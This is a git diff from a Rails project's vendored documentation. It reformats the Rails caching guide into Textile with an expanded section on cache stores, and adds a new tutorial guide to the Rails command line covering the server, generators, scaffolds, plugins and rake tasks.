+
 
-and you can expire it using the `expire_fragment` method, like so:
+and you can expire it using the +expire_fragment+ method, like so:
 
-[source, ruby]
------------------------------------------------------
+
 expire_fragment(:controller => 'products', :action => 'recent', :action_suffix => 'all_products)
------------------------------------------------------
+
 
 If you don't want the cache block to bind to the action that called it, You can
 also use globally keyed fragments by calling the cache method with a key, like
 so:
 
-[source, ruby]
------------------------------------------------------
+
 <% cache(:key => ['all_available_products', @latest_product.created_at].join(':')) do %>
-  All available products: 
------------------------------------------------------
+  All available products:
+<% end %>
+
 
 This fragment is then available to all actions in the ProductsController using
 the key and can be expired the same way:
 
-[source, ruby]
------------------------------------------------------
+
 expire_fragment(:key => ['all_available_products', @latest_product.created_at].join(':'))
------------------------------------------------------
+
 
-[More: more examples? description of fragment keys and expiration, etc? pagination?]
-
-=== Sweepers
+h4. Sweepers
 
 Cache sweeping is a mechanism which allows you to get around having a ton of
 expire_{page,action,fragment} calls in your code by moving all the work
-required to expire cached content into a `ActionController::Caching::Sweeper`
+required to expire cached content into a +ActionController::Caching::Sweeper+
 class that is an Observer and looks for changes to an object via callbacks,
 and when a change occurs it expires the caches associated with that object n
 an around or after filter.
@@ -211,8 +205,7 @@ an around or after filter.
 Continuing with our Product controller example, we could rewrite it with a
 sweeper such as the following:
 
-[source, ruby]
------------------------------------------------------
+
 class StoreSweeper < ActionController::Caching::Sweeper
   observe Product # This sweeper is going to keep an eye on the Product model
 
@@ -220,35 +213,34 @@ class StoreSweeper < ActionController::Caching::Sweeper
   def after_create(product)
           expire_cache_for(product)
   end
-  
+
   # If our sweeper detects that a Product was updated call this
   def after_update(product)
           expire_cache_for(product)
   end
-  
+
   # If our sweeper detects that a Product was deleted call this
   def after_destroy(product)
           expire_cache_for(product)
   end
-          
+
   private
   def expire_cache_for(record)
     # Expire the list page now that we added a new product
     expire_page(:controller => '#{record}', :action => 'list')
-    
-    # Expire a fragment 
+
+    # Expire a fragment
     expire_fragment(:controller => '#{record}', :action => 'recent', :action_suffix => 'all_products')
   end
 end
------------------------------------------------------
+
 
 Then we add it to our controller to tell it to call the sweeper when certain
 actions are called. So, if we wanted to expire the cached content for the
 list and edit actions when the create action was called, we could do the
 following:
 
-[source, ruby]
------------------------------------------------------
+
 class ProductsController < ActionController
 
   before_filter :authenticate, :only => [ :edit, :create ]
@@ -266,11 +258,9 @@ class ProductsController < ActionController
   def edit; end
 
 end
------------------------------------------------------
+
 
-[More: more examples? better sweepers?]
-
-=== SQL Caching
+h4. SQL Caching
 
 Query caching is a Rails feature that caches the result set returned by each
 query so that if Rails encounters the same query again for that request, it
@@ -279,8 +269,7 @@ database again.
 
 For example:
 
-[source, ruby]
------------------------------------------------------
+
 class ProductsController < ActionController
 
   before_filter :authenticate, :only => [ :edit, :create ]
@@ -306,7 +295,7 @@ class ProductsController < ActionController
   def edit; end
 
 end
------------------------------------------------------
+
 
 In the 'list' action above, the result set returned by the first
 Product.find(:all) will be cached and will be used to avoid querying the
@@ -315,71 +304,138 @@ database again the second time that finder is called.
 Query caches are created at the start of an action and destroyed at the end of
 that action and thus persist only for the duration of the action.
 
-=== Cache stores
+h4. Cache stores
 
-Rails provides different stores for the cached data for action and fragment
-caches. Page caches are always stored on disk.
+Rails (as of 2.1) provides different stores for the cached data for action and
+fragment caches. Page caches are always stored on disk.
 
-The cache stores provided include:
+Rails 2.1 and above provide ActiveSupport::Cache::Store which can be used to
+cache strings. Some cache store implementations, like MemoryStore, are able to
+cache arbitrary Ruby objects, but don't count on every cache store to be able
+to do that.
 
-1) Memory store: Cached data is stored in the memory allocated to the Rails
-                 process, which is fine for WEBrick and for FCGI (if you
-                 don't care that each FCGI process holds its own fragment
-                 store). It's not suitable for CGI as the process is thrown
-                 away at the end of each request. It can potentially also
-                 take up a lot of memory since each process keeps all the
-                 caches in memory.
+The default cache stores provided include:
 
-[source, ruby]
------------------------------------------------------
+1) ActiveSupport::Cache::MemoryStore: A cache store implementation which stores
+everything into memory in the same process. If you're running multiple Ruby on
+Rails server processes (which is the case if you're using mongrel_cluster or
+Phusion Passenger), then this means that your Rails server process instances
+won't be able to share cache data with each other. If your application never
+performs manual cache item expiry (e.g. when you‘re using generational cache
+keys), then using +MemoryStore+ is ok. Otherwise, consider carefully whether you
+should be using this cache store.  
+
++MemoryStore+ is not only able to store strings, but also arbitrary Ruby objects.
+
++MemoryStore+ is not thread-safe. Use +SynchronizedMemoryStore+ instead if you
+need thread-safety.
+                                      
+
+
 ActionController::Base.cache_store = :memory_store
------------------------------------------------------
+
 
-2) File store: Cached data is stored on the disk, this is the default store
-               and the default path for this store is: /tmp/cache. Works
-               well for all types of environments and allows all processes
-               running from the same application directory to access the
-               cached content.
+2) ActiveSupport::Cache::FileStore: Cached data is stored on the disk, this is
+the default store and the default path for this store is: /tmp/cache. Works
+well for all types of environments and allows all processes running from the
+same application directory to access the cached content. If /tmp/cache does not
+exist, the default store becomes MemoryStore.
 
 
-[source, ruby]
------------------------------------------------------
+
 ActionController::Base.cache_store = :file_store, "/path/to/cache/directory"
------------------------------------------------------
+
 
-3) DRb store: Cached data is stored in a separate shared DRb process that all
-              servers communicate with. This works for all environments and
-              only keeps one cache around for all processes, but requires
-              that you run and manage a separate DRb process.
+3) ActiveSupport::Cache::DRbStore: Cached data is stored in a separate shared
+DRb process that all servers communicate with. This works for all environments
+and only keeps one cache around for all processes, but requires that you run
+and manage a separate DRb process.
 
-[source, ruby]
------------------------------------------------------
+
+
 ActionController::Base.cache_store = :drb_store, "druby://localhost:9192"
------------------------------------------------------
+
 
 4) MemCached store: Works like DRbStore, but uses Danga's MemCache instead.
-                    Rails uses the bundled memcached-client gem by default.
+Rails uses the bundled memcached-client gem by default. This is currently the
+most popular cache store for production websites.
 
-[source, ruby]
------------------------------------------------------
+Special features:
+ * Clustering and load balancing. One can specify multiple memcached servers,
+   and MemCacheStore will load balance between all available servers. If a
+   server goes down, then MemCacheStore will ignore it until it goes back
+   online.
+ * Time-based expiry support. See write and the +:expires_in+ option.
+ * Per-request in memory cache for all communication with the MemCache server(s).
+
+It also accepts a hash of additional options:
+
+ * +:namespace+- specifies a string that will automatically be prepended to keys when accessing the memcached store.
+ * +:readonly+- a boolean value that when set to true will make the store read-only, with an error raised on any attempt to write.
+ * +:multithread+ - a boolean value that adds thread safety to read/write operations - it is unlikely you'll need to use this option as the Rails threadsafe! method offers the same functionality.
+
+The read and write methods of the MemCacheStore accept an options hash too.
+When reading you can specify +:raw => true+ to prevent the object being
+marshaled
+(by default this is false which means the raw value in the cache is passed to
+Marshal.load before being returned to you.)
+
+When writing to the cache it is also possible to specify +:raw => true+ means
+the value is not passed to Marshal.dump before being stored in the cache (by
+default this is false). 
+
+The write method also accepts an +:unless_exist+ flag which determines whether
+the memcached add (when true) or set (when false) method is used to store the
+item in the cache and an +:expires_in+ option that specifies the time-to-live
+for the cached item in seconds.
+
+
+
 ActionController::Base.cache_store = :mem_cache_store, "localhost"
------------------------------------------------------
+
 
-5) Custom store: You can define your own cache store (new in Rails 2.1)
+5) ActiveSupport::Cache::SynchronizedMemoryStore: Like ActiveSupport::Cache::MemoryStore but thread-safe.
 
-[source, ruby]
------------------------------------------------------
+
+
+ActionController::Base.cache_store = :synchronized_memory_store
+
+
+6) ActiveSupport::Cache::CompressedMemCacheStore: Works just like the regular
+MemCacheStore but uses GZip to decompress/compress on read/write.
+
+
+
+ActionController::Base.cache_store = :compressed_mem_cache_store, "localhost"
+
+
+7) Custom store: You can define your own cache store (new in Rails 2.1)
+
+
+
 ActionController::Base.cache_store = MyOwnStore.new("parameter")
------------------------------------------------------
+
 
 +Note: config.cache_store can be used in place of
 ActionController::Base.cache_store in your Rails::Initializer.run block in
 environment.rb+
 
-== Conditional GET support
+In addition to all of this, Rails also adds the ActiveRecord::Base#cache_key
+method that generates a key using the class name, id and updated_at timestamp
+(if available).
+
+An example:
+
+
+Rails.cache.read("city")   # => nil
+Rails.cache.write("city", "Duckburgh")
+Rails.cache.read("city")   # => "Duckburgh"
+
+
+h3. Conditional GET support
 
 Conditional GETs are a facility of the HTTP spec that provide a way for web
-servers to tell browsers that the response to a GET request hasn’t changed
+servers to tell browsers that the response to a GET request hasn't changed
 since the last request and can be safely pulled from the browser cache.
 
 They work by using the HTTP_IF_NONE_MATCH and HTTP_IF_MODIFIED_SINCE headers to
@@ -389,13 +445,12 @@ identifier (etag) or last modified since timestamp matches the server’s versio
 then the server only needs to send back an empty response with a not modified
 status.
 
-It is the server’s (i.e. our) responsibility to look for a last modified
+It is the server's (i.e. our) responsibility to look for a last modified
 timestamp and the if-none-match header and determine whether or not to send
 back the full response. With conditional-get support in rails this is a pretty
 easy task:
 
-[source, ruby]
------------------------------------------------------
+
 class ProductsController < ApplicationController
 
   def show
@@ -414,14 +469,13 @@ class ProductsController < ApplicationController
     # used in the previous call to stale? and will automatically send a
     # :not_modified.  So that's it, you're done.
 end
------------------------------------------------------
+
 
-If you don’t have any special response processing and are using the default
-rendering mechanism (i.e. you’re not using respond_to or calling render
+If you don't have any special response processing and are using the default
+rendering mechanism (i.e. you're not using respond_to or calling render
 yourself) then you’ve got an easy helper in fresh_when:
 
-[source, ruby]
------------------------------------------------------
+
 class ProductsController < ApplicationController
 
   # This will automatically send back a :not_modified if the request is fresh,
@@ -432,15 +486,30 @@ class ProductsController < ApplicationController
     fresh_when :last_modified => @product.published_at.utc, :etag => @article
   end
 end
------------------------------------------------------
+
 
-== Advanced Caching
+h3. Advanced Caching
 
 Along with the built-in mechanisms outlined above, a number of excellent
 plugins exist to help with finer grained control over caching. These include
-Chris Wanstrath's excellent cache_fu plugin (more info here:
-http://errtheblog.com/posts/57-kickin-ass-w-cachefu) and Evan Weaver's
-interlock plugin (more info here:
-http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/). Both
+Chris Wanstrath's excellent cache_fu plugin (more info "here": http://errtheblog.com/posts/57-kickin-ass-w-cachefu) and Evan Weaver's
+interlock plugin (more info "here": http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/). Both
 of these plugins play nice with memcached and are a must-see for anyone
 seriously considering optimizing their caching needs.
+
+Also the new "Cache money":http://github.com/nkallen/cache-money/tree/master plugin is supposed to be mad cool. 
+
+h3. References
+ * "RailsEnvy, Rails Caching Tutorial, Part 1":http://www.railsenvy.com/2007/2/28/rails-caching-tutorial
+ * "RailsEnvy, Rails Caching Tutorial, Part 1":http://www.railsenvy.com/2007/3/20/ruby-on-rails-caching-tutorial-part-2
+ * "ActiveSupport::Cache documentation":http://api.rubyonrails.org/classes/ActiveSupport/Cache.html
+ * "Rails 2.1 integrated caching tutorial":http://thewebfellas.com/blog/2008/6/9/rails-2-1-now-with-better-integrated-caching
+
+
+h3. Changelog
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/10-guide-to-caching
+
+February  22, 2009: Beefed up the section on cache_stores
+December  27, 2008: Typo fixes
+November  23, 2008: Incremental updates with various suggested changes and formatting cleanup
+September 15, 2008: Initial version by Aditya Chadha
diff --git a/vendor/rails/railties/guides/source/command_line.textile b/vendor/rails/railties/guides/source/command_line.textile
new file mode 100644
index 00000000..078eefd9
--- /dev/null
+++ b/vendor/rails/railties/guides/source/command_line.textile
@@ -0,0 +1,586 @@
+h2. A Guide to The Rails Command Line
+
+Rails comes with every command line tool you'll need to
+
+* Create a Rails application
+* Generate models, controllers, database migrations, and unit tests
+* Start a development server
+* Mess with objects through an interactive shell
+* Profile and benchmark your new creation
+
+NOTE: This tutorial assumes you have basic Rails knowledge from reading the "Getting Started with Rails Guide":getting_started.html.
+
+endprologue.
+
+h3. Command Line Basics
+
+There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:
+
+* console
+* server
+* rake
+* generate
+* rails
+
+Let's create a simple Rails application to step through each of these commands in context.
+
+h4. rails
+
+The first thing we'll want to do is create a new Rails application by running the +rails+ command after installing Rails.
+
+WARNING: You know you need the rails gem installed by typing +gem install rails+ first, right? Okay, okay, just making sure.
+
+
+$ rails commandsapp
+
+     create
+     create  app/controllers
+     create  app/helpers
+     create  app/models
+     ...
+     ...
+     create  log/production.log
+     create  log/development.log
+     create  log/test.log
+
+
+Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
+
+INFO: This output will seem very familiar when we get to the +generate+ command. Creepy foreshadowing!
+
+h4. server
+
+Let's try it! The +server+ command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to view your work through a web browser.
+
+INFO: WEBrick isn't your only option for serving Rails. We'll get to that in a later section.
+
+Without any prodding of any kind, +server+ will run our new shiny Rails app:
+
+
+$ cd commandsapp
+$ ./script/server
+=> Booting WEBrick...
+=> Rails 2.2.0 application started on http://0.0.0.0:3000
+=> Ctrl-C to shutdown server; call with --help for options
+[2008-11-04 10:11:38] INFO  WEBrick 1.3.1
+[2008-11-04 10:11:38] INFO  ruby 1.8.5 (2006-12-04) [i486-linux]
+[2008-11-04 10:11:38] INFO  WEBrick::HTTPServer#start: pid=18994 port=3000
+
+
+WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to http://localhost:3000. I'll wait.
+
+See? Cool! It doesn't do much yet, but we'll change that.
+
+h4. generate
+
+The +generate+ command uses templates to create a whole lot of things. You can always find out what's available by running +generate+ by itself. Let's do that:
+
+
+$ ./script/generate
+Usage: ./script/generate generator [options] [args]
+
+...
+...
+
+Installed Generators
+  Built-in: controller, integration_test, mailer, migration, model, observer, performance_test, plugin, resource, scaffold, session_migration
+
+...
+...
+
+
+NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
+
+Using generators will save you a large amount of time by writing *boilerplate code* for you -- necessary for the darn thing to work, but not necessary for you to spend time writing. That's what we have computers for, right?
+
+Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
+
+INFO: All Rails console utilities have help text. As with most *NIX utilities, you can try adding +--help+ or +-h+ to the end, for example +./script/server --help+.
+
+
+$ ./script/generate controller
+Usage: ./script/generate controller ControllerName [options]
+
+...
+...
+
+Example:
+    ./script/generate controller CreditCard open debit credit close
+
+    Credit card controller with URLs like /credit_card/debit.
+        Controller: app/controllers/credit_card_controller.rb
+        Views:      app/views/credit_card/debit.html.erb [...]
+        Helper:     app/helpers/credit_card_helper.rb
+        Test:       test/functional/credit_card_controller_test.rb
+
+Modules Example:
+    ./script/generate controller 'admin/credit_card' suspend late_fee
+
+    Credit card admin controller with URLs /admin/credit_card/suspend.
+        Controller: app/controllers/admin/credit_card_controller.rb
+        Views:      app/views/admin/credit_card/debit.html.erb [...]
+        Helper:     app/helpers/admin/credit_card_helper.rb
+        Test:       test/functional/admin/credit_card_controller_test.rb
+
+
+Ah, the controller generator is expecting parameters in the form of +generate controller ControllerName action1 action2+. Let's make a +Greetings+ controller with an action of *hello*, which will say something nice to us.
+
+
+$ ./script/generate controller Greetings hello
+     exists  app/controllers/
+     exists  app/helpers/
+     create  app/views/greetings
+     exists  test/functional/
+     create  app/controllers/greetings_controller.rb
+     create  test/functional/greetings_controller_test.rb
+     create  app/helpers/greetings_helper.rb
+     create  app/views/greetings/hello.html.erb
+
+
+Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file.
+
+Let's check out the controller and modify it a little (in +app/controllers/greetings_controller.rb+):
+
+
+class GreetingsController < ApplicationController
+  def hello
+    @message = "Hello, how are you today? I am exuberant!"
+  end
+
+end
+
+
+Then the view, to display our nice message (in +app/views/greetings/hello.html.erb+):
+
+
+
A Greeting for You!

+
<%= @message %>

+
+
+Deal. Go check it out in your browser. Fire up your server. Remember? +./script/server+ at the root of your Rails application should do it.
+
+
+$ ./script/server
+=> Booting WEBrick...
+
+
+WARNING: Make sure that you do not have any "tilde backup" files in +app/views/(controller)+, or else WEBrick will _not_ show the expected output. This seems to be a *bug* in Rails 2.3.0.
+
+The URL will be +http://localhost:3000/greetings/hello+. I'll wait for you to be suitably impressed.
+
+INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the *index* action of that controller.
+
+"What about data, though?", you ask over a cup of coffee. Rails comes with a generator for data models too. Can you guess its generator name?
+
+
+$ ./script/generate model
+Usage: ./script/generate model ModelName [field:type, field:type]
+
+...
+
+Examples:
+    ./script/generate model account
+
+        creates an Account model, test, fixture, and migration:
+            Model:      app/models/account.rb
+            Test:       test/unit/account_test.rb
+            Fixtures:   test/fixtures/accounts.yml
+            Migration:  db/migrate/XXX_add_accounts.rb
+
+    ./script/generate model post title:string body:text published:boolean
+
+        creates a Post model with a string title, text body, and published flag.
+
+
+But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A *scaffold* in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.
+
+Let's set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
+
+
+$ ./script/generate scaffold HighScore game:string score:integer
+    exists  app/models/
+    exists  app/controllers/
+    exists  app/helpers/
+    create  app/views/high_scores
+    create  app/views/layouts/
+    exists  test/functional/
+    create  test/unit/
+    create  public/stylesheets/
+    create  app/views/high_scores/index.html.erb
+    create  app/views/high_scores/show.html.erb
+    create  app/views/high_scores/new.html.erb
+    create  app/views/high_scores/edit.html.erb
+    create  app/views/layouts/high_scores.html.erb
+    create  public/stylesheets/scaffold.css
+    create  app/controllers/high_scores_controller.rb
+    create  test/functional/high_scores_controller_test.rb
+    create  app/helpers/high_scores_helper.rb
+     route  map.resources :high_scores
+dependency  model
+    exists    app/models/
+    exists    test/unit/
+    create    test/fixtures/
+    create    app/models/high_score.rb
+    create    test/unit/high_score_test.rb
+    create    test/fixtures/high_scores.yml
+    exists    db/migrate
+    create    db/migrate/20081217071914_create_high_scores.rb
+
+
+Taking it from the top - the generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the +high_scores+ table and fields), takes care of the route for the *resource*, and new tests for everything.
+
+The migration requires that we *migrate*, that is, run some Ruby code (living in that +20081217071914_create_high_scores.rb+) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the +rake db:migrate+ command. We'll talk more about Rake in-depth in a little while.
+
+CAUTION: Hey. Install the sqlite3-ruby gem while you're at it. +gem install sqlite3-ruby+
+
+
+$ rake db:migrate
+(in /home/commandsapp)
+  CreateHighScores: migrating
+    create_table(:high_scores)
+    -> 0.0070s
+  CreateHighScores: migrated (0.0077s)
+
+
+INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment.
+
+Let's see the interface Rails created for us. ./script/server; http://localhost:3000/high_scores
+
+We can create new high scores (55,160 on Space Invaders!)
+
+h4. console
+
+The +console+ command lets you interact with your Rails application from the command line. On the underside, +script/console+ uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.
+
+h4. dbconsole
+
++dbconsole+ figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.
+
+h4. plugin
+
+The +plugin+ command simplifies plugin management; think a miniature version of the Gem utility. Let's walk through installing a plugin. You can call the sub-command *discover*, which sifts through repositories looking for plugins, or call *source* to add a specific repository of plugins, or you can specify the plugin location directly.
+
+Let's say you're creating a website for a client who wants a small accounting system. Every event having to do with money must be logged, and must never be deleted. Wouldn't it be great if we could override the behavior of a model to never actually take its record out of the database, but *instead*, just set a field?
+
+There is such a thing! The plugin we're installing is called "acts_as_paranoid", and it lets models implement a "deleted_at" column that gets set when you call destroy. Later, when calling find, the plugin will tack on a database check to filter out "deleted" things.
+
+
+$ ./script/plugin install http://svn.techno-weenie.net/projects/plugins/acts_as_paranoid
++ ./CHANGELOG
++ ./MIT-LICENSE
+...
+...
+
+
+h4. runner
+
+runner runs Ruby code in the context of Rails non-interactively. For instance:
+
+
+$ ./script/runner "Model.long_running_method"
+
+
+h4. destroy
+
+Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it. Believe you-me, the creation of this tutorial used this command many times!
+
+
+$ ./script/generate model Oops
+      exists  app/models/
+      exists  test/unit/
+      exists  test/fixtures/
+      create  app/models/oops.rb
+      create  test/unit/oops_test.rb
+      create  test/fixtures/oops.yml
+      exists  db/migrate
+      create  db/migrate/20081221040817_create_oops.rb
+$ ./script/destroy model Oops
+    notempty  db/migrate
+    notempty  db
+          rm  db/migrate/20081221040817_create_oops.rb
+          rm  test/fixtures/oops.yml
+          rm  test/unit/oops_test.rb
+          rm  app/models/oops.rb
+    notempty  test/fixtures
+    notempty  test
+    notempty  test/unit
+    notempty  test
+    notempty  app/models
+    notempty  app
+
+
+h4. about
+
+Check it: Version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version! +about+ is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
+
+
+$ ./script/about
+About your application's environment
+Ruby version              1.8.6 (i486-linux)
+RubyGems version          1.3.1
+Rails version             2.2.0
+Active Record version     2.2.0
+Action Pack version       2.2.0
+Active Resource version   2.2.0
+Action Mailer version     2.2.0
+Active Support version    2.2.0
+Edge Rails revision       unknown
+Application root          /home/commandsapp
+Environment               development
+Database adapter          sqlite3
+Database schema version   20081217073400
+
+
+h3. The Rails Advanced Command Line
+
+The more advanced uses of the command line are focused around finding useful (even surprising at times) options in the utilities, and fitting utilities to your needs and specific work flow. Listed here are some tricks up Rails' sleeve.
+
+h4. Rails with databases and SCM
+
+When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.
+
+Let's see what a +--git+ option and a +--database=postgresql+ option will do for us:
+
+
+$ mkdir gitapp
+$ cd gitapp
+$ git init
+Initialized empty Git repository in .git/
+$ rails . --git --database=postgresql
+      exists
+      create  app/controllers
+      create  app/helpers
+...
+...
+      create  tmp/cache
+      create  tmp/pids
+      create  Rakefile
+add 'Rakefile'
+      create  README
+add 'README'
+      create  app/controllers/application_controller_.rb
+add 'app/controllers/application_controller_.rb'
+      create  app/helpers/application_helper.rb
+...
+      create  log/test.log
+add 'log/test.log'
+
+
+We had to create the *gitapp* directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:
+
+
+$ cat config/database.yml
+# PostgreSQL. Versions 7.4 and 8.x are supported.
+#
+# Install the ruby-postgres driver:
+#   gem install ruby-postgres
+# On Mac OS X:
+#   gem install ruby-postgres -- --include=/usr/local/pgsql
+# On Windows:
+#   gem install ruby-postgres
+#       Choose the win32 build.
+#       Install PostgreSQL and put its /bin directory on your path.
+development:
+  adapter: postgresql
+  encoding: unicode
+  database: gitapp_development
+  pool: 5
+  username: gitapp
+  password:
+...
+...
+
+
+It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the +rails+ command to generate the basis of your app.
+
+h4. server with different backends
+
+Many people have created a large number different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!).
+
+NOTE: For more details on the Rack integration, see "Rails on Rack":rails_on_rack.html.
+
+To use a different server, just install its gem, then use its name for the first parameter to +script/server+:
+
+
+$ sudo gem install mongrel
+Building native extensions.  This could take a while...
+Building native extensions.  This could take a while...
+Successfully installed gem_plugin-0.2.3
+Successfully installed fastthread-1.0.1
+Successfully installed cgi_multipart_eof_fix-2.5.0
+Successfully installed mongrel-1.1.5
+...
+...
+Installing RDoc documentation for mongrel-1.1.5...
+$ script/server mongrel
+=> Booting Mongrel (use 'script/server webrick' to force WEBrick)
+=> Rails 2.2.0 application starting on http://0.0.0.0:3000
+...
+
+
+h4. The Rails Generation: Generators
+
+INFO: For a good rundown on generators, see "Understanding Generators":http://wiki.rubyonrails.org/rails/pages/UnderstandingGenerators. A lot of its material is presented here.
+
+Generators are code that generates code. Let's experiment by building one. Our generator will generate a text file.
+
+The Rails generator by default looks in these places for available generators, where RAILS_ROOT is the root of your Rails application, like /home/foobar/commandsapp:
+
+* RAILS_ROOT/lib/generators
+* RAILS_ROOT/vendor/generators
+* Inside any plugin with a directory like "generators" or "rails_generators"
+* ~/.rails/generators
+* Inside any Gem you have installed with a name ending in "_generator"
+* Inside *any* Gem installed with a "rails_generators" path, and a file ending in "_generator.rb"
+* Finally, the builtin Rails generators (controller, model, mailer, etc.)
+
+Let's try the fourth option (in our home directory), which will be easy to clean up later:
+
+
+$ mkdir -p ~/.rails/generators/tutorial_test/templates
+$ touch ~/.rails/generators/tutorial_test/templates/tutorial.erb
+$ touch ~/.rails/generators/tutorial_test/tutorial_test_generator.rb
+
+
+We'll fill +tutorial_test_generator.rb+ out with:
+
+
+class TutorialTestGenerator < Rails::Generator::Base
+  def initialize(*runtime_args)
+    super(*runtime_args)
+    @tut_args = runtime_args
+  end
+
+  def manifest
+    record do |m|
+      m.directory "public"
+      m.template "tutorial.erb", File.join("public", "tutorial.txt"),
+        :assigns => { :args => @tut_args }
+    end
+  end
+end
+
+
+We take whatever args are supplied, save them to an instance variable, and literally copying from the Rails source, implement a +manifest+ method, which calls +record+ with a block, and we:
+
+* Check there's a *public* directory. You bet there is.
+* Run the ERb template called "tutorial.erb".
+* Save it into "RAILS_ROOT/public/tutorial.txt".
+* Pass in the arguments we saved through the +:assign+ parameter.
+
+Next we'll build the template:
+
+
+$ cat ~/.rails/generators/tutorial_test/templates/tutorial.erb
+I'm a template!
+
+I got assigned some args:
+<%= require 'pp'; PP.pp(args, "") %>
+
+
+Then we'll make sure it got included in the list of available generators:
+
+
+$ ./script/generate
+...
+...
+Installed Generators
+  User: tutorial_test
+
+
+SWEET! Now let's generate some text, yeah!
+
+
+$ ./script/generate tutorial_test arg1 arg2 arg3
+      exists  public
+      create  public/tutorial.txt
+
+
+And the result:
+
+
+$ cat public/tutorial.txt
+I'm a template!
+
+I got assigned some args:
+[["arg1", "arg2", "arg3"],
+ {:collision=>:ask,
+  :quiet=>false,
+  :generator=>"tutorial_test",
+  :command=>:create}]
+
+
+Tada!
+
+h4. Rake is Ruby Make
+
+Rake is a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and +.rake+ files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other.
+
+You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing +rake --tasks+. Each task has a description, and should help you find the thing you need.
+
+
+ rake --tasks
+(in /home/developer/commandsapp)
+rake db:abort_if_pending_migrations       # Raises an error if there are pending migrations
+rake db:charset                           # Retrieves the charset for the current environment's database
+rake db:collation                         # Retrieves the collation for the current environment's database
+rake db:create                            # Create the database defined in config/database.yml for the current RAILS_ENV
+...
+...
+rake tmp:pids:clear                       # Clears all files in tmp/pids
+rake tmp:sessions:clear                   # Clears all files in tmp/sessions
+rake tmp:sockets:clear                    # Clears all files in tmp/sockets
+
+
+Let's take a look at some of these 80 or so rake tasks.
+
+h5. db: Database
+
+The most common tasks of the +db:+ Rake namespace are +migrate+ and +create+, and it will pay off to try out all of the migration rake tasks (+up+, +down+, +redo+, +reset+). +rake db:version+ is useful when troubleshooting, telling you the current version of the database.
+
+h5. doc: Documentation
+
+If you want to strip out or rebuild any of the Rails documentation (including this guide!), the +doc:+ namespace has the tools. Stripping documentation is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform.
+
+h5. gems: Ruby gems
+
+You can specify which gems your application uses, and +rake gems:install+ will install them for you. Look at your environment.rb to learn how with the *config.gem* directive.
+
+NOTE: +gems:unpack+ will unpack, that is internalize your application's Gem dependencies by copying the Gem code into your vendor/gems directory. By doing this you increase your codebase size, but simplify installation on new hosts by eliminating the need to run +rake gems:install+, or finding and installing the gems your application uses.
+
+h5. notes: Code note enumeration
+
+These tasks will search through your code for commented lines beginning with "FIXME", "OPTIMIZE", "TODO", or any custom annotation (like XXX) and show you them.
+
+h5. rails: Rails-specific tasks
+
+In addition to the +gems:unpack+ task above, you can also unpack the Rails backend specific gems into vendor/rails by calling +rake rails:freeze:gems+, to unpack the version of Rails you are currently using, or +rake rails:freeze:edge+ to unpack the most recent (cutting, bleeding edge) version.
+
+When you have frozen the Rails gems, Rails will prefer to use the code in vendor/rails instead of the system Rails gems. You can "thaw" by running +rake rails:unfreeze+.
+
+After upgrading Rails, it is useful to run +rails:update+, which will update your config and scripts directories, and upgrade your Rails-specific javascript (like Scriptaculous).
+
+h5. test: Rails tests
+
+INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html
+
+Rails comes with a test suite called Test::Unit. It is through the use of tests that Rails itself is so stable, and the slew of people working on Rails can prove that everything works as it should. 
+
+The +test:+ namespace helps in running the different tests you will (hopefully!) write.
+
+h5. time: Timezones
+
+You can list all the timezones Rails knows about with +rake time:zones:all+, which is useful just in day-to-day life.
+
+h5. tmp: Temporary files
+
+The tmp directory is, like in the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. The +tmp:+ namespace tasks will help you clear them if you need to if they've become overgrown, or create them in case of an +rm -rf *+ gone awry.
+
+h5. Miscellaneous tasks
+
+ +rake stats+ is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.
+
+ +rake secret+ will give you a psuedo-random key to use for your session secret.
+
